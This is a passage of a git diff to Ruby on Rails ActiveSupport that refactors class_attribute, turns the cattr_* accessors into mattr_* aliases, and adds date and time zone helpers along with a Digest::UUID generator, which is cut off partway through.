diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb
index 86b752c2f3..c750a10bb2 100644
--- a/activesupport/lib/active_support/core_ext/class.rb
+++ b/activesupport/lib/active_support/core_ext/class.rb
@@ -1,4 +1,3 @@
require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/class/attribute_accessors'
require 'active_support/core_ext/class/delegating_attributes'
require 'active_support/core_ext/class/subclasses'
diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb
index 1504e18839..f2a221c396 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute.rb
@@ -44,7 +44,8 @@ class Class
# Base.setting # => []
# Subclass.setting # => [:foo]
#
- # For convenience, a query method is defined as well:
+ # For convenience, an instance predicate method is defined as well.
+ # To skip it, pass <tt>instance_predicate: false</tt>.
#
# Subclass.setting? # => false
#
@@ -71,50 +72,56 @@ class Class
options = attrs.extract_options!
instance_reader = options.fetch(:instance_accessor, true) && options.fetch(:instance_reader, true)
instance_writer = options.fetch(:instance_accessor, true) && options.fetch(:instance_writer, true)
+ instance_predicate = options.fetch(:instance_predicate, true)
- # We use class_eval here rather than define_method because class_attribute
- # may be used in a performance sensitive context therefore the overhead that
- # define_method introduces may become significant.
attrs.each do |name|
- class_eval <<-RUBY, __FILE__, __LINE__ + 1
- def self.#{name}() nil end
- def self.#{name}?() !!#{name} end
+ define_singleton_method(name) { nil }
+ define_singleton_method("#{name}?") { !!public_send(name) } if instance_predicate
- def self.#{name}=(val)
- singleton_class.class_eval do
- remove_possible_method(:#{name})
- define_method(:#{name}) { val }
- end
+ ivar = "@#{name}"
+
+ define_singleton_method("#{name}=") do |val|
+ singleton_class.class_eval do
+ remove_possible_method(name)
+ define_method(name) { val }
+ end
- if singleton_class?
- class_eval do
- remove_possible_method(:#{name})
- def #{name}
- defined?(@#{name}) ? @#{name} : singleton_class.#{name}
+ if singleton_class?
+ class_eval do
+ remove_possible_method(name)
+ define_method(name) do
+ if instance_variable_defined? ivar
+ instance_variable_get ivar
+ else
+ singleton_class.send name
end
end
end
- val
end
+ val
+ end
- if instance_reader
- remove_possible_method :#{name}
- def #{name}
- defined?(@#{name}) ? @#{name} : self.class.#{name}
- end
-
- def #{name}?
- !!#{name}
+ if instance_reader
+ remove_possible_method name
+ define_method(name) do
+ if instance_variable_defined?(ivar)
+ instance_variable_get ivar
+ else
+ self.class.public_send name
end
end
- RUBY
+ define_method("#{name}?") { !!public_send(name) } if instance_predicate
+ end
attr_writer name if instance_writer
end
end
private
- def singleton_class?
- ancestors.first != self
+
+ unless respond_to?(:singleton_class?)
+ def singleton_class?
+ ancestors.first != self
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
index fa1dbfdf06..84d5e95e7a 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -1,170 +1,4 @@
-require 'active_support/core_ext/array/extract_options'
-
-# Extends the class object with class and instance accessors for class attributes,
-# just like the native attr* accessors for instance attributes.
-class Class
- # Defines a class attribute if it's not defined and creates a reader method that
- # returns the attribute value.
- #
- # class Person
- # cattr_reader :hair_colors
- # end
- #
- # Person.class_variable_set("@@hair_colors", [:brown, :black])
- # Person.hair_colors # => [:brown, :black]
- # Person.new.hair_colors # => [:brown, :black]
- #
- # The attribute name must be a valid method name in Ruby.
- #
- # class Person
- # cattr_reader :"1_Badname "
- # end
- # # => NameError: invalid attribute name
- #
- # If you want to opt out the instance reader method, you can pass <tt>instance_reader: false</tt>
- # or <tt>instance_accessor: false</tt>.
- #
- # class Person
- # cattr_reader :hair_colors, instance_reader: false
- # end
- #
- # Person.new.hair_colors # => NoMethodError
- def cattr_reader(*syms)
- options = syms.extract_options!
- syms.each do |sym|
- raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}
- @@#{sym}
- end
- EOS
-
- unless options[:instance_reader] == false || options[:instance_accessor] == false
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- def #{sym}
- @@#{sym}
- end
- EOS
- end
- end
- end
-
- # Defines a class attribute if it's not defined and creates a writer method to allow
- # assignment to the attribute.
- #
- # class Person
- # cattr_writer :hair_colors
- # end
- #
- # Person.hair_colors = [:brown, :black]
- # Person.class_variable_get("@@hair_colors") # => [:brown, :black]
- # Person.new.hair_colors = [:blonde, :red]
- # Person.class_variable_get("@@hair_colors") # => [:blonde, :red]
- #
- # The attribute name must be a valid method name in Ruby.
- #
- # class Person
- # cattr_writer :"1_Badname "
- # end
- # # => NameError: invalid attribute name
- #
- # If you want to opt out the instance writer method, pass <tt>instance_writer: false</tt>
- # or <tt>instance_accessor: false</tt>.
- #
- # class Person
- # cattr_writer :hair_colors, instance_writer: false
- # end
- #
- # Person.new.hair_colors = [:blonde, :red] # => NoMethodError
- #
- # Also, you can pass a block to set up the attribute with a default value.
- #
- # class Person
- # cattr_writer :hair_colors do
- # [:brown, :black, :blonde, :red]
- # end
- # end
- #
- # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
- def cattr_writer(*syms)
- options = syms.extract_options!
- syms.each do |sym|
- raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}=(obj)
- @@#{sym} = obj
- end
- EOS
-
- unless options[:instance_writer] == false || options[:instance_accessor] == false
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- def #{sym}=(obj)
- @@#{sym} = obj
- end
- EOS
- end
- send("#{sym}=", yield) if block_given?
- end
- end
-
- # Defines both class and instance accessors for class attributes.
- #
- # class Person
- # cattr_accessor :hair_colors
- # end
- #
- # Person.hair_colors = [:brown, :black, :blonde, :red]
- # Person.hair_colors # => [:brown, :black, :blonde, :red]
- # Person.new.hair_colors # => [:brown, :black, :blonde, :red]
- #
- # If a subclass changes the value then that would also change the value for
- # parent class. Similarly if parent class changes the value then that would
- # change the value of subclasses too.
- #
- # class Male < Person
- # end
- #
- # Male.hair_colors << :blue
- # Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
- #
- # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
- # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
- #
- # class Person
- # cattr_accessor :hair_colors, instance_writer: false, instance_reader: false
- # end
- #
- # Person.new.hair_colors = [:brown] # => NoMethodError
- # Person.new.hair_colors # => NoMethodError
- #
- # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
- #
- # class Person
- # cattr_accessor :hair_colors, instance_accessor: false
- # end
- #
- # Person.new.hair_colors = [:brown] # => NoMethodError
- # Person.new.hair_colors # => NoMethodError
- #
- # Also you can pass a block to set up the attribute with a default value.
- #
- # class Person
- # cattr_accessor :hair_colors do
- # [:brown, :black, :blonde, :red]
- # end
- # end
- #
- # Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
- def cattr_accessor(*syms, &blk)
- cattr_reader(*syms)
- cattr_writer(*syms, &blk)
- end
-end
+# cattr_* became mattr_* aliases in 7dfbd91b0780fbd6a1dd9bfbc176e10894871d2d,
+# but we keep this around for libraries that directly require it knowing they
+# want cattr_*. No need to deprecate.
+require 'active_support/core_ext/module/attribute_accessors'
diff --git a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
index ff870f5fd1..1c305c5970 100644
--- a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
+++ b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
@@ -1,25 +1,30 @@
require 'active_support/core_ext/kernel/singleton_class'
require 'active_support/core_ext/module/remove_method'
+require 'active_support/core_ext/module/deprecation'
+
class Class
def superclass_delegating_accessor(name, options = {})
# Create private _name and _name= methods that can still be used if the public
- # methods are overridden. This allows
- _superclass_delegating_accessor("_#{name}")
+ # methods are overridden.
+ _superclass_delegating_accessor("_#{name}", options)
- # Generate the public methods name, name=, and name?
+ # Generate the public methods name, name=, and name?.
# These methods dispatch to the private _name, and _name= methods, making them
- # overridable
+ # overridable.
singleton_class.send(:define_method, name) { send("_#{name}") }
singleton_class.send(:define_method, "#{name}?") { !!send("_#{name}") }
singleton_class.send(:define_method, "#{name}=") { |value| send("_#{name}=", value) }
- # If an instance_reader is needed, generate methods for name and name= on the
- # class itself, so instances will be able to see them
- define_method(name) { send("_#{name}") } if options[:instance_reader] != false
- define_method("#{name}?") { !!send("#{name}") } if options[:instance_reader] != false
+ # If an instance_reader is needed, generate public instance methods name and name?.
+ if options[:instance_reader] != false
+ define_method(name) { send("_#{name}") }
+ define_method("#{name}?") { !!send("#{name}") }
+ end
end
+ deprecate superclass_delegating_accessor: :class_attribute
+
private
# Take the object being set and store it in a method. This gives us automatic
# inheritance behavior, without having to store the object in an instance
diff --git a/activesupport/lib/active_support/core_ext/class/subclasses.rb b/activesupport/lib/active_support/core_ext/class/subclasses.rb
index 9a2dc6e7c5..3c4bfc5f1e 100644
--- a/activesupport/lib/active_support/core_ext/class/subclasses.rb
+++ b/activesupport/lib/active_support/core_ext/class/subclasses.rb
@@ -29,9 +29,9 @@ class Class
#
# class Foo; end
# class Bar < Foo; end
- # class Baz < Foo; end
+ # class Baz < Bar; end
#
- # Foo.subclasses # => [Baz, Bar]
+ # Foo.subclasses # => [Bar]
def subclasses
subclasses, chain = [], descendants
chain.each do |k|
diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb
index 439d380af7..c60e833441 100644
--- a/activesupport/lib/active_support/core_ext/date/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -8,8 +8,6 @@ require 'active_support/core_ext/date_and_time/calculations'
class Date
include DateAndTime::Calculations
- @beginning_of_week_default = nil
-
class << self
attr_accessor :beginning_of_week_default
@@ -53,28 +51,39 @@ class Date
# Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
# and then subtracts the specified number of seconds.
def ago(seconds)
- to_time_in_current_zone.since(-seconds)
+ in_time_zone.since(-seconds)
end
# Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
# and then adds the specified number of seconds
def since(seconds)
- to_time_in_current_zone.since(seconds)
+ in_time_zone.since(seconds)
end
alias :in :since
# Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
def beginning_of_day
- to_time_in_current_zone
+ in_time_zone
end
alias :midnight :beginning_of_day
alias :at_midnight :beginning_of_day
alias :at_beginning_of_day :beginning_of_day
+ # Converts Date to a Time (or DateTime if necessary) with the time portion set to the middle of the day (12:00)
+ def middle_of_day
+ in_time_zone.middle_of_day
+ end
+ alias :midday :middle_of_day
+ alias :noon :middle_of_day
+ alias :at_midday :middle_of_day
+ alias :at_noon :middle_of_day
+ alias :at_middle_of_day :middle_of_day
+
# Converts Date to a Time (or DateTime if necessary) with the time portion set to the end of the day (23:59:59)
def end_of_day
- to_time_in_current_zone.end_of_day
+ in_time_zone.end_of_day
end
+ alias :at_end_of_day :end_of_day
def plus_with_duration(other) #:nodoc:
if ActiveSupport::Duration === other
@@ -120,4 +129,15 @@ class Date
options.fetch(:day, day)
)
end
+
+ # Allow Date to be compared with Time by converting to DateTime and relying on the <=> from there.
+ def compare_with_coercion(other)
+ if other.is_a?(Time)
+ self.to_datetime <=> other
+ else
+ compare_without_coercion(other)
+ end
+ end
+ alias_method :compare_without_coercion, :<=>
+ alias_method :<=>, :compare_with_coercion
end
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
index 9120b0ba49..df419a6e63 100644
--- a/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -13,13 +13,16 @@ class Date
day_format = ActiveSupport::Inflector.ordinalize(date.day)
date.strftime("%B #{day_format}, %Y") # => "April 25th, 2007"
},
- :rfc822 => '%e %b %Y'
+ :rfc822 => '%e %b %Y',
+ :iso8601 => lambda { |date| date.iso8601 }
}
# Ruby 1.9 has Date#to_time which converts to localtime only.
- remove_possible_method :to_time
+ remove_method :to_time
- # Ruby 1.9 has Date#xmlschema which converts to a string without the time component.
+ # Ruby 1.9 has Date#xmlschema which converts to a string without the time
+ # component. This removal may generate an issue on FreeBSD, that's why we
+ # need to use remove_possible_method here
remove_possible_method :xmlschema
# Convert to a formatted string. See DATE_FORMATS for predefined formats.
@@ -35,13 +38,14 @@ class Date
# date.to_formatted_s(:long) # => "November 10, 2007"
# date.to_formatted_s(:long_ordinal) # => "November 10th, 2007"
# date.to_formatted_s(:rfc822) # => "10 Nov 2007"
+ # date.to_formatted_s(:iso8601) # => "2007-11-10"
#
- # == Adding your own time formats to to_formatted_s
+ # == Adding your own date formats to to_formatted_s
# You can add your own formats to the Date::DATE_FORMATS hash.
# Use the format name as the hash key and either a strftime string
# or Proc instance that takes a date argument as the value.
#
- # # config/initializers/time_formats.rb
+ # # config/initializers/date_formats.rb
# Date::DATE_FORMATS[:month_and_year] = '%B %Y'
# Date::DATE_FORMATS[:short_ordinal] = ->(date) { date.strftime("%B #{date.day.ordinalize}") }
def to_formatted_s(format = :default)
@@ -75,10 +79,10 @@ class Date
#
# date.to_time(:utc) # => Sat Nov 10 00:00:00 UTC 2007
def to_time(form = :local)
- ::Time.send("#{form}_time", year, month, day)
+ ::Time.send(form, year, month, day)
end
def xmlschema
- to_time_in_current_zone.xmlschema
+ in_time_zone.xmlschema
end
end
diff --git a/activesupport/lib/active_support/core_ext/date/zones.rb b/activesupport/lib/active_support/core_ext/date/zones.rb
index c1b3934722..d109b430db 100644
--- a/activesupport/lib/active_support/core_ext/date/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date/zones.rb
@@ -1,15 +1,6 @@
require 'date'
-require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/date_and_time/zones'
class Date
- # Converts Date to a TimeWithZone in the current zone if <tt>Time.zone</tt> or
- # <tt>Time.zone_default</tt> is set, otherwise converts Date to a Time via
- # Date#to_time.
- def to_time_in_current_zone
- if ::Time.zone
- ::Time.zone.local(year, month, day)
- else
- to_time
- end
- end
+ include DateAndTime::Zones
end
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
index 1f78b9eb5a..b85e49aca5 100644
--- a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
@@ -78,7 +78,7 @@ module DateAndTime
# Returns a new date/time at the start of the month.
# DateTime objects will have a time set to 0:00.
def beginning_of_month
- first_hour{ change(:day => 1) }
+ first_hour(change(:day => 1))
end
alias :at_beginning_of_month :beginning_of_month
@@ -93,7 +93,7 @@ module DateAndTime
# Returns a new date/time at the end of the quarter.
# Example: 31st March, 30th June, 30th September.
- # DateTIme objects will have a time set to 23:59:59.
+ # DateTime objects will have a time set to 23:59:59.
def end_of_quarter
last_quarter_month = [3, 6, 9, 12].detect { |m| m >= month }
beginning_of_month.change(:month => last_quarter_month).end_of_month
@@ -109,11 +109,11 @@ module DateAndTime
alias :at_beginning_of_year :beginning_of_year
# Returns a new date/time representing the given day in the next week.
- # Week is assumed to start on +start_day+, default is
- # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
- # DateTime objects have their time set to 0:00.
- def next_week(start_day = Date.beginning_of_week)
- first_hour{ weeks_since(1).beginning_of_week.days_since(days_span(start_day)) }
+ # The +given_day_in_next_week+ defaults to the beginning of the week
+ # which is determined by +Date.beginning_of_week+ or +config.beginning_of_week+
+ # when set. +DateTime+ objects have their time set to 0:00.
+ def next_week(given_day_in_next_week = Date.beginning_of_week)
+ first_hour(weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week)))
end
# Short-hand for months_since(1).
@@ -136,7 +136,7 @@ module DateAndTime
# +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
# DateTime objects have their time set to 0:00.
def prev_week(start_day = Date.beginning_of_week)
- first_hour{ weeks_ago(1).beginning_of_week.days_since(days_span(start_day)) }
+ first_hour(weeks_ago(1).beginning_of_week.days_since(days_span(start_day)))
end
alias_method :last_week, :prev_week
@@ -188,7 +188,7 @@ module DateAndTime
# +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
# DateTime objects have their time set to 23:59:59.
def end_of_week(start_day = Date.beginning_of_week)
- last_hour{ days_since(6 - days_to_week_start(start_day)) }
+ last_hour(days_since(6 - days_to_week_start(start_day)))
end
alias :at_end_of_week :end_of_week
@@ -202,7 +202,7 @@ module DateAndTime
# DateTime objects will have a time set to 23:59:59.
def end_of_month
last_day = ::Time.days_in_month(month, year)
- last_hour{ days_since(last_day - day) }
+ last_hour(days_since(last_day - day))
end
alias :at_end_of_month :end_of_month
@@ -213,16 +213,35 @@ module DateAndTime
end
alias :at_end_of_year :end_of_year
+ # Returns a Range representing the whole week of the current date/time.
+ # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
+ def all_week(start_day = Date.beginning_of_week)
+ beginning_of_week(start_day)..end_of_week(start_day)
+ end
+
+ # Returns a Range representing the whole month of the current date/time.
+ def all_month
+ beginning_of_month..end_of_month
+ end
+
+ # Returns a Range representing the whole quarter of the current date/time.
+ def all_quarter
+ beginning_of_quarter..end_of_quarter
+ end
+
+ # Returns a Range representing the whole year of the current date/time.
+ def all_year
+ beginning_of_year..end_of_year
+ end
+
private
- def first_hour
- result = yield
- acts_like?(:time) ? result.change(:hour => 0) : result
+ def first_hour(date_or_time)
+ date_or_time.acts_like?(:time) ? date_or_time.beginning_of_day : date_or_time
end
- def last_hour
- result = yield
- acts_like?(:time) ? result.end_of_day : result
+ def last_hour(date_or_time)
+ date_or_time.acts_like?(:time) ? date_or_time.end_of_day : date_or_time
end
def days_span(day)
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/zones.rb b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
new file mode 100644
index 0000000000..96c6df9407
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
@@ -0,0 +1,41 @@
+module DateAndTime
+ module Zones
+ # Returns the simultaneous time in <tt>Time.zone</tt> if a zone is given or
+ # if Time.zone_default is set. Otherwise, it returns the current time.
+ #
+ # Time.zone = 'Hawaii' # => 'Hawaii'
+ # DateTime.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+ # Date.new(2000).in_time_zone # => Sat, 01 Jan 2000 00:00:00 HST -10:00
+ #
+ # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
+ # instead of the operating system's time zone.
+ #
+ # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
+ # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
+ #
+ # Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+ # DateTime.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+ # Date.new(2000).in_time_zone('Alaska') # => Sat, 01 Jan 2000 00:00:00 AKST -09:00
+ def in_time_zone(zone = ::Time.zone)
+ time_zone = ::Time.find_zone! zone
+ time = acts_like?(:time) ? self : nil
+
+ if time_zone
+ time_with_zone(time, time_zone)
+ else
+ time || self.to_time
+ end
+ end
+
+ private
+
+ def time_with_zone(time, zone)
+ if time
+ ActiveSupport::TimeWithZone.new(time.utc? ? time : time.getutc, zone)
+ else
+ ActiveSupport::TimeWithZone.new(nil, zone, to_time(:utc))
+ end
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/core_ext/date_time/acts_like.rb b/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
index c79745c5aa..8fbbe0d3e9 100644
--- a/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
@@ -1,3 +1,4 @@
+require 'date'
require 'active_support/core_ext/object/acts_like'
class DateTime
diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
index f77d444479..dc4e767e9d 100644
--- a/activesupport/lib/active_support/core_ext/date_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
@@ -1,14 +1,7 @@
-require 'active_support/deprecation'
+require 'date'
class DateTime
class << self
- # *DEPRECATED*: Use +DateTime.civil_from_format+ directly.
- def local_offset
- ActiveSupport::Deprecation.warn 'DateTime.local_offset is deprecated. Use DateTime.civil_from_format directly.'
-
- ::Time.local(2012).utc_offset.to_r / 86400
- end
-
# Returns <tt>Time.zone.now.to_datetime</tt> when <tt>Time.zone</tt> or
# <tt>config.time_zone</tt> are set, otherwise returns
# <tt>Time.now.to_datetime</tt>.
@@ -17,16 +10,6 @@ class DateTime
end
end
- # Tells whether the DateTime object's datetime lies in the past.
- def past?
- self < ::DateTime.current
- end
-
- # Tells whether the DateTime object's datetime lies in the future.
- def future?
- self > ::DateTime.current
- end
-
# Seconds since midnight: DateTime.now.seconds_since_midnight.
def seconds_since_midnight
sec + (min * 60) + (hour * 3600)
@@ -43,7 +26,7 @@ class DateTime
# Returns a new DateTime where one or more of the elements have been changed
# according to the +options+ parameter. The time options (<tt>:hour</tt>,
- # <tt>:minute</tt>, <tt>:sec</tt>) reset cascadingly, so if only the hour is
+ # <tt>:min</tt>, <tt>:sec</tt>) reset cascadingly, so if only the hour is
# passed, then minute and sec is set to 0. If the hour and minute is passed,
# then sec is set to 0. The +options+ parameter takes a hash with any of these
# keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>,
@@ -59,7 +42,7 @@ class DateTime
options.fetch(:day, day),
options.fetch(:hour, hour),
options.fetch(:min, options[:hour] ? 0 : min),
- options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec),
+ options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec + sec_fraction),
options.fetch(:offset, offset),
options.fetch(:start, start)
)
@@ -70,6 +53,16 @@ class DateTime
# <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
# <tt>:minutes</tt>, <tt>:seconds</tt>.
def advance(options)
+ unless options[:weeks].nil?
+ options[:weeks], partial_weeks = options[:weeks].divmod(1)
+ options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
+ end
+
+ unless options[:days].nil?
+ options[:days], partial_days = options[:days].divmod(1)
+ options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
+ end
+
d = to_date.advance(options)
datetime_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
seconds_to_advance = \
@@ -80,7 +73,7 @@ class DateTime
if seconds_to_advance.zero?
datetime_advanced_by_date
else
- datetime_advanced_by_date.since seconds_to_advance
+ datetime_advanced_by_date.since(seconds_to_advance)
end
end
@@ -106,10 +99,21 @@ class DateTime
alias :at_midnight :beginning_of_day
alias :at_beginning_of_day :beginning_of_day
+ # Returns a new DateTime representing the middle of the day (12:00)
+ def middle_of_day
+ change(:hour => 12)
+ end
+ alias :midday :middle_of_day
+ alias :noon :middle_of_day
+ alias :at_midday :middle_of_day
+ alias :at_noon :middle_of_day
+ alias :at_middle_of_day :middle_of_day
+
# Returns a new DateTime representing the end of the day (23:59:59).
def end_of_day
change(:hour => 23, :min => 59, :sec => 59)
end
+ alias :at_end_of_day :end_of_day
# Returns a new DateTime representing the start of the hour (hh:00:00).
def beginning_of_hour
@@ -121,6 +125,19 @@ class DateTime
def end_of_hour
change(:min => 59, :sec => 59)
end
+ alias :at_end_of_hour :end_of_hour
+
+ # Returns a new DateTime representing the start of the minute (hh:mm:00).
+ def beginning_of_minute
+ change(:sec => 0)
+ end
+ alias :at_beginning_of_minute :beginning_of_minute
+
+ # Returns a new DateTime representing the end of the minute (hh:mm:59).
+ def end_of_minute
+ change(:sec => 59)
+ end
+ alias :at_end_of_minute :end_of_minute
# Adjusts DateTime to UTC by adding its offset value; offset is set to 0.
#
@@ -144,7 +161,13 @@ class DateTime
# Layers additional behavior on DateTime#<=> so that Time and
# ActiveSupport::TimeWithZone instances can be compared with a DateTime.
def <=>(other)
- super other.to_datetime
+ if other.kind_of?(Infinity)
+ super
+ elsif other.respond_to? :to_datetime
+ super other.to_datetime
+ else
+ nil
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
index b7d8414a9d..2a9c09fc29 100644
--- a/activesupport/lib/active_support/core_ext/date_time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -1,3 +1,4 @@
+require 'date'
require 'active_support/inflector/methods'
require 'active_support/core_ext/time/conversions'
require 'active_support/core_ext/date_time/calculations'
@@ -18,6 +19,7 @@ class DateTime
# datetime.to_formatted_s(:long) # => "December 04, 2007 00:00"
# datetime.to_formatted_s(:long_ordinal) # => "December 4th, 2007 00:00"
# datetime.to_formatted_s(:rfc822) # => "Tue, 04 Dec 2007 00:00:00 +0000"
+ # datetime.to_formatted_s(:iso8601) # => "2007-12-04T00:00:00+00:00"
#
# == Adding your own datetime formats to to_formatted_s
# DateTime formats are shared with Time. You can add your own to the
@@ -69,9 +71,9 @@ class DateTime
civil(year, month, day, hour, min, sec, offset)
end
- # Converts +self+ to a floating-point number of seconds since the Unix epoch.
+ # Converts +self+ to a floating-point number of seconds, including fractional microseconds, since the Unix epoch.
def to_f
- seconds_since_unix_epoch.to_f
+ seconds_since_unix_epoch.to_f + sec_fraction
end
# Converts +self+ to an integer number of seconds since the Unix epoch.
@@ -79,6 +81,16 @@ class DateTime
seconds_since_unix_epoch.to_i
end
+ # Returns the fraction of a second as microseconds
+ def usec
+ (sec_fraction * 1_000_000).to_i
+ end
+
+ # Returns the fraction of a second as nanoseconds
+ def nsec
+ (sec_fraction * 1_000_000_000).to_i
+ end
+
private
def offset_in_seconds
diff --git a/activesupport/lib/active_support/core_ext/date_time/zones.rb b/activesupport/lib/active_support/core_ext/date_time/zones.rb
index 6457ffbaf6..c39f358395 100644
--- a/activesupport/lib/active_support/core_ext/date_time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/zones.rb
@@ -1,24 +1,6 @@
-require 'active_support/core_ext/time/zones'
+require 'date'
+require 'active_support/core_ext/date_and_time/zones'
class DateTime
- # Returns the simultaneous time in <tt>Time.zone</tt>.
- #
- # Time.zone = 'Hawaii' # => 'Hawaii'
- # DateTime.new(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
- #
- # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt>
- # as the local zone instead of the operating system's time zone.
- #
- # You can also pass in a TimeZone instance or string that identifies a TimeZone
- # as an argument, and the conversion will be based on that zone instead of
- # <tt>Time.zone</tt>.
- #
- # DateTime.new(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
- def in_time_zone(zone = ::Time.zone)
- if zone
- ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
- else
- self
- end
- end
+ include DateAndTime::Zones
end
diff --git a/activesupport/lib/active_support/core_ext/digest/uuid.rb b/activesupport/lib/active_support/core_ext/digest/uuid.rb
new file mode 100644
index 0000000000..593c51bba2
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/digest/uuid.rb
@@ -0,0 +1,51 @@
+require 'securerandom'
+
+module Digest
+ module UUID
+ DNS_NAMESPACE = "k\xA7\xB8\x10\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+ URL_NAMESPACE = "k\xA7\xB8\x11\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+ OID_NAMESPACE = "k\xA7\xB8\x12\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+ X500_NAMESPACE = "k\xA7\xB8\x14\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+
+ # Generates a v5 non-random UUID (Universally Unique IDentifier).
+ #
+ # Using Digest::MD5 generates version 3 UUIDs; Digest::SHA1 generates version 5 UUIDs.
+ # uuid_from_hash always generates the same UUID for a given name and namespace combination.
+ #
+ # See RFC 4122 for details of UUID at: http://www.ietf.org/rfc/rfc4122.txt
+ def self.uuid_from_hash(hash_class, uuid_namespace, name)
+ if hash_class == Digest::MD5
+ version = 3
+ elsif hash_class == Digest::SHA1
+ version = 5
+ else
+ raise ArgumentError, "Expected Digest::SHA1 or Digest::MD5, got #{hash_class.name}."
+ end
+
+ hash = hash_class.new
+ hash.update(uuid_namespace)
+ hash.update(name)
+
+ ary = hash.digest.unpack('NnnnnN')
+ ary[2] = (ary[2] & 0x0FFF) | (version << 12)
+ ary[3] = (ary[3] & 0x3FFF) | 0x8000
+
+ "%08x-%04x-%04x-%04x-%04x%08x" % ary
+ end
+
+ # Convenience method for uuid_from_hash using Digest::MD5.
+ def self.uuid_v3(uuid_namespace, name)
+ self.uuid_from_hash(Digest::MD5, uuid_namespace, name)
+ end
+
+ # Convenience method for uuid_from_hash using Digest::SHA1.
